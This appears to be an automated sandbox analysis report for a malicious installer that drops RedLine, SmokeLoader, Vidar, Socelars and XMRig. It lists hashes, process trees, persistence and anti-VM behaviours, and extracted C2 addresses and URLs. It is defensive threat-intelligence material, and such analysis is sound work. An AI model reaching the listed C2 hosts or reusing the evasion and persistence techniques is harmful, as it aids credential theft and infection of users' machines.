redline | 9bd142ecfe89857de80bb3255a1655f680ca6451b45cca235096dc1c1285e806

Resubmissions

11-10-2021 20:45

211011-zjxjlsabbm 10

11-10-2021 13:10

211011-qegsxshcfp 10

11-10-2021 10:55

211011-mz7y3ahaak 10

10-10-2021 19:24

211010-x4mtssgae2 10

Analysis

max time kernel
1812s
max time network
1802s
platform
windows11_x64
resource
win11
submitted
11-10-2021 13:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup_x86_x64_install.exe
Size

3.9MB
MD5

a4d23ac3c7172b9aa02e35b6bf0fd21f
SHA1

0326aab7deddfefc048c9a67ac9ce4ee14ea9003
SHA256

9bd142ecfe89857de80bb3255a1655f680ca6451b45cca235096dc1c1285e806
SHA512

9e425d8a1beaeabfc983bb75a7a5f8a8c0823e825e9f66e17b0f515b2897da9f2d9b2f1aa9939fdbae6c826c2c730d3bc772abec9e35a61d3d73a6cdb87ddf10

Score

10^/10

redline smokeloader socelars vidar xmrig ani aspackv2 backdoor discovery evasion infostealer miner persistence spyware stealer suricata themida trojan

Malware Config

Extracted

Family

redline

Botnet

ANI

45.142.215.47:27643

Extracted

Family

smokeloader

Version

2020

http://linavanandr11.club/

http://iselaharty12.club/

http://giovaninardo13.club/

http://zayneliann14.club/

http://zorinosali15.club/

rc4.i32

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5564 4884 rundll32.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5564	4884	rundll32.exe

RedLine Payload 2 IoCs

Processes:

resource	yara_rule
behavioral4/memory/3300-268-0x0000000000000000-mapping.dmp	family_redline
behavioral4/memory/3300-271-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15901f2f025e.exe	family_socelars
C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15901f2f025e.exe	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 19 IoCs

Processes:

WerFault.exe0P7C901GxxrrCq6G9SXjVMo8.exevDFvTSLkY9KHF5YR8kBa437o.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	pid	process	target process
PID 3492 created 4304	3492	WerFault.exe	Conhost.exe
PID 4400 created 1200	4400	0P7C901GxxrrCq6G9SXjVMo8.exe	Conhost.exe
PID 1248 created 420	1248	vDFvTSLkY9KHF5YR8kBa437o.exe	Sun15f1b1f8c669.exe
PID 2768 created 1548	2768	WerFault.exe	Sun152e52d07b74d9b5.exe
PID 5888 created 5592	5888	WerFault.exe	rundll32.exe
PID 5016 created 5584	5016	WerFault.exe	SUMfEn8MafuT5kK3l65hD4on.exe
PID 6136 created 3156	6136	WerFault.exe	powershell.exe
PID 2896 created 2068	2896	WerFault.exe	HWjxM3dCEWl570a_F1qlhUQg.exe
PID 6024 created 1716	6024	WerFault.exe	MKvtYprW318KERPOI1r8Qw1E.exe
PID 6032 created 5320	6032		bCaZvnb0_PKf8lgD5M4Feizb.exe
PID 4972 created 5384	4972	WerFault.exe	AQht4XZ6hHCr7UMLUDIpl7hg.exe
PID 5688 created 2084	5688	WerFault.exe	build.exe
PID 5612 created 6096	5612	WerFault.exe	pPkWxNCLoiE1aFnlwiFAYPR2.exe
PID 3724 created 6108	3724	WerFault.exe	12yiqSy2I1ZXOGX6sfVWTHM5.exe
PID 7084 created 6904	7084	WerFault.exe	F32D.exe
PID 1108 created 6208	1108	WerFault.exe	C06.exe
PID 5608 created 5188	5608	WerFault.exe	157D.exe
PID 3120 created 5616	3120	WerFault.exe	23B7.exe
PID 5148 created 3424	5148	WerFault.exe	2E47.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

rl_trojan 1 IoCs

redline stealer.

stealer

Processes:

resource	yara_rule
behavioral4/memory/6008-603-0x0000000005650000-0x0000000005C68000-memory.dmp	redline

suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata
suricata: ET MALWARE Zbot Generic URI/Header Struct .bin
suricata: ET MALWARE Zbot Generic URI/Header Struct .bin
suricata
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral4/memory/1716-570-0x00000000034D0000-0x00000000035A6000-memory.dmp	family_vidar
behavioral4/memory/2068-576-0x0000000003450000-0x0000000003526000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\libstdc++-6.dll	aspack_v212_v242

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

54 3156 powershell.exe
55 3156 powershell.exe
121 3156 powershell.exe
122 3156 powershell.exe
125 3156 powershell.exe
126 3156 powershell.exe
Downloads MZ/PE file

flow	pid	process
54	3156	powershell.exe
55	3156	powershell.exe
121	3156	powershell.exe
122	3156	powershell.exe
125	3156	powershell.exe
126	3156	powershell.exe

Executes dropped EXE 64 IoCs

Processes:

setup_installer.exesetup_install.exeSun152bab5a2de.exeSun15dbd675f871ca.exeSun15901f2f025e.exeSun1577c3e159a3e3815.exeSun15f67075f27a2b5b.exeSun15f1b1f8c669.exeSun159ff1acacf.exeSun152bea652bd7232.exeSun1507db358fce61c0b.exeSun158d8ef840.exeSun152e52d07b74d9b5.exeBT6q4LmjoI4O_fTuCtwy_Jhk.exe09xU.exESun159ff1acacf.exe5463742.scr4434337.scr6781030.scr3771438.scrpPkWxNCLoiE1aFnlwiFAYPR2.exe12yiqSy2I1ZXOGX6sfVWTHM5.exeHGAQNXOo9NMXs9AAUMcNhYST.exeG9qMoQFOFYl5YC3VO2pFQcFq.exeUl74UKBPgSuoE2iRtoDoiQHh.exevDFvTSLkY9KHF5YR8kBa437o.exeAIuXWgSVwp4YhHmVIH4g9F9O.exe0P7C901GxxrrCq6G9SXjVMo8.exe_eTbCCSBTc5Eh0p4iNwop2Al.exeoVbCA6Ocv_bmi86kIF6_X9ud.exeAQht4XZ6hHCr7UMLUDIpl7hg.exeUH2rCx39mDnQ4ob77sW4j7b0.exebCaZvnb0_PKf8lgD5M4Feizb.exeWil0Z1Zqys1gJpqgCgyQbvpw.exefgrvOfrN7tEJnXVEHb2QBTV7.exeWerFault.exeMKvtYprW318KERPOI1r8Qw1E.exeSUMfEn8MafuT5kK3l65hD4on.exeHWjxM3dCEWl570a_F1qlhUQg.exe1upnME8VKubWhyIPkgUiZRnZ.exeWinHoster.execm3.exeSb74EPqynGoxybhHjOZA6Ef4.exeDownFlSetup999.exeinst3.exe_eTbCCSBTc5Eh0p4iNwop2Al.exebuild.exeoVbCA6Ocv_bmi86kIF6_X9ud.exe8776506.scr7581533.scrConhost.exeAQht4XZ6hHCr7UMLUDIpl7hg.exeMjpFiZVjH.exe4415324.scrsvchost.exe2252731.scr4957603.scrCF86.exeE0DC.exeCF86.exeF32D.exeE9.exeC06.exe157D.exe

pid	process
1248	setup_installer.exe
1280	setup_install.exe
2948	Sun152bab5a2de.exe
1256	Sun15dbd675f871ca.exe
3156	Sun15901f2f025e.exe
1200	Sun1577c3e159a3e3815.exe
2008	Sun15f67075f27a2b5b.exe
420	Sun15f1b1f8c669.exe
1988	Sun159ff1acacf.exe
5056	Sun152bea652bd7232.exe
4304	Sun1507db358fce61c0b.exe
1244	Sun158d8ef840.exe
1548	Sun152e52d07b74d9b5.exe
1888	BT6q4LmjoI4O_fTuCtwy_Jhk.exe
2076	09xU.exE
3300	Sun159ff1acacf.exe
5092	5463742.scr
1572	4434337.scr
5440	6781030.scr
5576	3771438.scr
6096	pPkWxNCLoiE1aFnlwiFAYPR2.exe
6108	12yiqSy2I1ZXOGX6sfVWTHM5.exe
6120	HGAQNXOo9NMXs9AAUMcNhYST.exe
4488	G9qMoQFOFYl5YC3VO2pFQcFq.exe
3292	Ul74UKBPgSuoE2iRtoDoiQHh.exe
1248	vDFvTSLkY9KHF5YR8kBa437o.exe
4220	AIuXWgSVwp4YhHmVIH4g9F9O.exe
4400	0P7C901GxxrrCq6G9SXjVMo8.exe
5292	_eTbCCSBTc5Eh0p4iNwop2Al.exe
5348	oVbCA6Ocv_bmi86kIF6_X9ud.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5388	UH2rCx39mDnQ4ob77sW4j7b0.exe
5320	bCaZvnb0_PKf8lgD5M4Feizb.exe
5408	Wil0Z1Zqys1gJpqgCgyQbvpw.exe
5468	fgrvOfrN7tEJnXVEHb2QBTV7.exe
5612	WerFault.exe
1716	MKvtYprW318KERPOI1r8Qw1E.exe
5584	SUMfEn8MafuT5kK3l65hD4on.exe
2068	HWjxM3dCEWl570a_F1qlhUQg.exe
5628	1upnME8VKubWhyIPkgUiZRnZ.exe
5764	WinHoster.exe
4672	cm3.exe
4376	Sb74EPqynGoxybhHjOZA6Ef4.exe
3656	DownFlSetup999.exe
2580	inst3.exe
3572	_eTbCCSBTc5Eh0p4iNwop2Al.exe
2084	build.exe
5800	oVbCA6Ocv_bmi86kIF6_X9ud.exe
1324	8776506.scr
5720	7581533.scr
5920	Conhost.exe
6008	AQht4XZ6hHCr7UMLUDIpl7hg.exe
1492	MjpFiZVjH.exe
3908	4415324.scr
2568	svchost.exe
5528	2252731.scr
5700	4957603.scr
6332	CF86.exe
6548	E0DC.exe
6696	CF86.exe
6904	F32D.exe
7024	E9.exe
6208	C06.exe
5188	157D.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks BIOS information in registry 2 TTPs 26 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

6781030.scrUH2rCx39mDnQ4ob77sW4j7b0.exe4415324.scrE0DC.exeE9.exe41E0.exe0P7C901GxxrrCq6G9SXjVMo8.exefgrvOfrN7tEJnXVEHb2QBTV7.exeAIuXWgSVwp4YhHmVIH4g9F9O.exevDFvTSLkY9KHF5YR8kBa437o.exe2252731.scrUl74UKBPgSuoE2iRtoDoiQHh.exe37DD.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6781030.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6781030.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	UH2rCx39mDnQ4ob77sW4j7b0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4415324.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	E0DC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	E9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	41E0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0P7C901GxxrrCq6G9SXjVMo8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0P7C901GxxrrCq6G9SXjVMo8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	fgrvOfrN7tEJnXVEHb2QBTV7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	fgrvOfrN7tEJnXVEHb2QBTV7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	AIuXWgSVwp4YhHmVIH4g9F9O.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	UH2rCx39mDnQ4ob77sW4j7b0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	vDFvTSLkY9KHF5YR8kBa437o.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4415324.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2252731.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2252731.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	41E0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Ul74UKBPgSuoE2iRtoDoiQHh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Ul74UKBPgSuoE2iRtoDoiQHh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	AIuXWgSVwp4YhHmVIH4g9F9O.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	vDFvTSLkY9KHF5YR8kBa437o.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	E0DC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	E9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	37DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	37DD.exe

Drops startup file 1 IoCs

Processes:

WerFault.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe WerFault.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe	WerFault.exe

Loads dropped DLL 12 IoCs

Processes:

setup_install.exerundll32.exerundll32.exerundll32.exe37DD.exe

pid	process
1280	setup_install.exe
1280	setup_install.exe
1280	setup_install.exe
1280	setup_install.exe
1280	setup_install.exe
1280	setup_install.exe
5592	rundll32.exe
5908	rundll32.exe
5908	rundll32.exe
6872	rundll32.exe
6872	rundll32.exe
5368	37DD.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\6781030.scr	themida
C:\Users\Admin\Pictures\Adobe Films\AIuXWgSVwp4YhHmVIH4g9F9O.exe	themida
C:\Users\Admin\Pictures\Adobe Films\0P7C901GxxrrCq6G9SXjVMo8.exe	themida
C:\Users\Admin\Pictures\Adobe Films\vDFvTSLkY9KHF5YR8kBa437o.exe	themida
C:\Users\Admin\Pictures\Adobe Films\Ul74UKBPgSuoE2iRtoDoiQHh.exe	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

4434337.scr

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	4434337.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 13 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

6781030.scrUH2rCx39mDnQ4ob77sW4j7b0.exe0P7C901GxxrrCq6G9SXjVMo8.exe4415324.scrE0DC.exeUl74UKBPgSuoE2iRtoDoiQHh.exefgrvOfrN7tEJnXVEHb2QBTV7.exevDFvTSLkY9KHF5YR8kBa437o.exeAIuXWgSVwp4YhHmVIH4g9F9O.exe2252731.scrE9.exe37DD.exe41E0.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6781030.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	UH2rCx39mDnQ4ob77sW4j7b0.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0P7C901GxxrrCq6G9SXjVMo8.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4415324.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	E0DC.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Ul74UKBPgSuoE2iRtoDoiQHh.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fgrvOfrN7tEJnXVEHb2QBTV7.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	vDFvTSLkY9KHF5YR8kBa437o.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AIuXWgSVwp4YhHmVIH4g9F9O.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2252731.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	E9.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	37DD.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	41E0.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 ip-api.com
2 ipinfo.io
46 ipinfo.io

flow	ioc
2	ip-api.com
2	ipinfo.io
46	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 27 IoCs

Processes:

6781030.scrvDFvTSLkY9KHF5YR8kBa437o.exe0P7C901GxxrrCq6G9SXjVMo8.exeAIuXWgSVwp4YhHmVIH4g9F9O.exeUl74UKBPgSuoE2iRtoDoiQHh.exeUH2rCx39mDnQ4ob77sW4j7b0.exefgrvOfrN7tEJnXVEHb2QBTV7.exeAQht4XZ6hHCr7UMLUDIpl7hg.exe4415324.scr2252731.scrE0DC.exeE9.exe37DD.exe41E0.exe

pid	process
5440	6781030.scr
1248	vDFvTSLkY9KHF5YR8kBa437o.exe
4400	0P7C901GxxrrCq6G9SXjVMo8.exe
4220	AIuXWgSVwp4YhHmVIH4g9F9O.exe
3292	Ul74UKBPgSuoE2iRtoDoiQHh.exe
5388	UH2rCx39mDnQ4ob77sW4j7b0.exe
5468	fgrvOfrN7tEJnXVEHb2QBTV7.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
3908	4415324.scr
5528	2252731.scr
6548	E0DC.exe
7024	E9.exe
5368	37DD.exe
5648	41E0.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

Sun159ff1acacf.exe_eTbCCSBTc5Eh0p4iNwop2Al.exeoVbCA6Ocv_bmi86kIF6_X9ud.exeAQht4XZ6hHCr7UMLUDIpl7hg.exeCF86.exe

description	pid	process	target process
PID 1988 set thread context of 3300	1988	Sun159ff1acacf.exe	Sun159ff1acacf.exe
PID 5292 set thread context of 3572	5292	_eTbCCSBTc5Eh0p4iNwop2Al.exe	_eTbCCSBTc5Eh0p4iNwop2Al.exe
PID 5348 set thread context of 5800	5348	oVbCA6Ocv_bmi86kIF6_X9ud.exe	oVbCA6Ocv_bmi86kIF6_X9ud.exe
PID 5384 set thread context of 6008	5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe	AQht4XZ6hHCr7UMLUDIpl7hg.exe
PID 6332 set thread context of 6696	6332	CF86.exe	CF86.exe

Drops file in Program Files directory 5 IoCs

Processes:

G9qMoQFOFYl5YC3VO2pFQcFq.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	G9qMoQFOFYl5YC3VO2pFQcFq.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe	G9qMoQFOFYl5YC3VO2pFQcFq.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst3.exe	G9qMoQFOFYl5YC3VO2pFQcFq.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	G9qMoQFOFYl5YC3VO2pFQcFq.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	G9qMoQFOFYl5YC3VO2pFQcFq.exe

Drops file in Windows directory 12 IoCs

Processes:

svchost.exeMjpFiZVjH.exeWerFault.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File created	C:\Windows\System\svchost.exe	MjpFiZVjH.exe
File opened for modification	C:\Windows\System\svchost.exe	MjpFiZVjH.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp.tmp	WerFault.exe
File created	C:\Windows\System\xxx1.bak	MjpFiZVjH.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File created	C:\Windows\System\xxx1.bak	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 18 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4516	1200	WerFault.exe	Sun1577c3e159a3e3815.exe
1624	4304	WerFault.exe	Sun1507db358fce61c0b.exe
5212	1548	WerFault.exe	Sun152e52d07b74d9b5.exe
5192	420	WerFault.exe	Sun15f1b1f8c669.exe
1416	5584	WerFault.exe	SUMfEn8MafuT5kK3l65hD4on.exe
5316	3156	WerFault.exe	Sun15901f2f025e.exe
5984	2068	WerFault.exe	HWjxM3dCEWl570a_F1qlhUQg.exe
5676	1716	WerFault.exe	MKvtYprW318KERPOI1r8Qw1E.exe
3308	5384	WerFault.exe	AQht4XZ6hHCr7UMLUDIpl7hg.exe
1044	5320	WerFault.exe	bCaZvnb0_PKf8lgD5M4Feizb.exe
3144	2084	WerFault.exe	build.exe
3188	6096	WerFault.exe	pPkWxNCLoiE1aFnlwiFAYPR2.exe
4196	6108	WerFault.exe	12yiqSy2I1ZXOGX6sfVWTHM5.exe
7104	6904	WerFault.exe	F32D.exe
3304	6208	WerFault.exe	C06.exe
5492	5188	WerFault.exe	157D.exe
2472	5616	WerFault.exe	23B7.exe
3828	3424	WerFault.exe	2E47.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

CF86.exeoVbCA6Ocv_bmi86kIF6_X9ud.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CF86.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CF86.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	oVbCA6Ocv_bmi86kIF6_X9ud.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	oVbCA6Ocv_bmi86kIF6_X9ud.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	oVbCA6Ocv_bmi86kIF6_X9ud.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CF86.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe37DD.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe2E47.exesvchost.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	37DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
